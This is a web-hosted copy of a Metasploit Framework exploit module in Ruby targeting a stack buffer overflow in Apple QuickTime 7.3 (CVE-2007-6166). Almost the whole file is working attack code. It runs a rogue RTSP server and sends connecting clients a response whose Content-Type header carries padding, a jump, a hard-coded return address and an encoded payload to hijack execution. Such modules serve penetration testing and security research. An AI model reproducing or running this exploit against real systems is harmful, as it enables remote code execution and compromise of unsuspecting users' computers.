CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::TcpServer
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Apple QuickTime 7.3 RTSP Response Header Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in Apple QuickTime 7.3. By sending an overly long
16
RTSP response to a client, an attacker may be able to execute arbitrary code.
17
},
18
'Author' => 'MC',
19
'License' => MSF_LICENSE,
20
'References' =>
21
[
22
[ 'CVE', '2007-6166' ],
23
[ 'OSVDB', '40876' ],
24
[ 'BID', '26549' ],
25
[ 'EDB', '4648' ],
26
],
27
'DefaultOptions' =>
28
{
29
'EXITFUNC' => 'process',
30
},
31
'Payload' =>
32
{
33
'Space' => 700,
34
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
35
'MaxNops' => 0,
36
'StackAdjustment' => -3500,
37
},
38
'Platform' => 'win',
39
'Targets' =>
40
[
41
[ 'QuickTime 7.3, QuickTime Player 7.3', { 'Offset' => 991, 'Ret' => 0x67644297 } ], # pop esi; pop ebx; ret / QuickTimeStreaming.qtx (7.3.0.70)
42
],
43
'Privileged' => false,
44
'DisclosureDate' => '2007-11-23',
45
'DefaultTarget' => 0))
46
47
register_options(
48
[
49
OptPort.new('SRVPORT', [ true, "The RTSP daemon port to listen on", 554 ])
50
])
51
end
52
53
def on_client_connect(client)
54
return if ((p = regenerate_payload(client)) == nil)
55
56
client.get_once
57
58
buffer = rand_text_english(target['Offset']) + Rex::Arch::X86.jmp_short(6) + make_nops(2)
59
buffer << [target.ret].pack('V') + payload.encoded + rand_text_english(4092 - payload.encoded.length)
60
61
strname = rand_text_alpha(rand(75) + 1)
62
date = Time.now
63
num = rand(1).to_s
64
65
header = "RTSP/1.0 200 OK\r\n"
66
header << "CSeq: 1\r\n"
67
header << "Date: #{date}\r\n"
68
header << "Content-Base: rtsp://0.0.0.0/#{strname}\r\n"
69
header << "Content-Type: #{buffer}\r\n"
70
header << "Content-Length: #{strname.length}\r\n\r\n"
71
72
body = "v=#{num}\r\n"
73
body << "o=#{strname}\r\n"
74
body << "s=#{strname}\r\n"
75
body << "i=#{strname}\r\n"
76
body << "t=#{num}\r\n"
77
body << "a=tool:#{strname}\r\n"
78
body << "a=type:#{strname}\r\n"
79
body << "a=control:#{strname}\r\n"
80
body << "a=range:#{strname}\r\n"
81
body << "a=x-qt-text-nam:#{strname}\r\n"
82
body << "a=x-qt-text-inf:#{strname}\r\n"
83
body << "m=#{strname}\r\n"
84
body << "c=#{strname}\r\n"
85
body << "a=control:#{strname}\r\n"
86
87
sploit = header + body
88
89
print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...")
90
91
client.put(sploit)
92
handler(client)
93
94
service.close_client(client)
95
end
96
end
97
98